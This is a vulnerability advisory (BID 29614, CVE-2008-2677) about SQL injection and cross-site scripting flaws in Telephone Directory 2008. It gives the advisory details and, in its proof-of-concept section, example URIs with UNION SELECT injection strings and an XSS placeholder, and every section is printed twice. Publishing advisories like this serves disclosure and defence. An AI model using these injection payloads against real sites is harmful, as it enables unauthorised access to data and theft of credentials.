Telephone Directory 2008 Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
BID:29614
Info
Telephone Directory 2008 Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 29614 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2677 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 09 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | CWH Underground |
| Vulnerable: |
Rittwick Banerjee Telephone Directory 2008 Stable |
| Not Vulnerable: | |
Discussion
Telephone Directory 2008 Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
Telephone Directory 2008 is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Telephone Directory 2008 is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Telephone Directory 2008 Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/[path]/edit1.php?action=confirm_data&code=1'/**/UNION/**/SELECT/**/1,name,3,4,5,6,7,8,9,10,11,12/**/FROM/**/dept/**/WHERE/**/ID='HOUS001
http://www.example.com/[path]/view_more.php?id=1'/**/UNION/**/SELECT/**/1,2,3,name,5/**/FROM/**/dept/**/WHERE/**/ID='INTX007812
http://www.example.com/[path]/edit1.php?action=<XSS>
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/[path]/edit1.php?action=confirm_data&code=1'/**/UNION/**/SELECT/**/1,name,3,4,5,6,7,8,9,10,11,12/**/FROM/**/dept/**/WHERE/**/ID='HOUS001
http://www.example.com/[path]/view_more.php?id=1'/**/UNION/**/SELECT/**/1,2,3,name,5/**/FROM/**/dept/**/WHERE/**/ID='INTX007812
http://www.example.com/[path]/edit1.php?action=<XSS>
Solution / Fix
Telephone Directory 2008 Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Telephone Directory 2008 Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
References:
References:
- Telephone Directory 2008 Project Page (Rittwick Banerjee)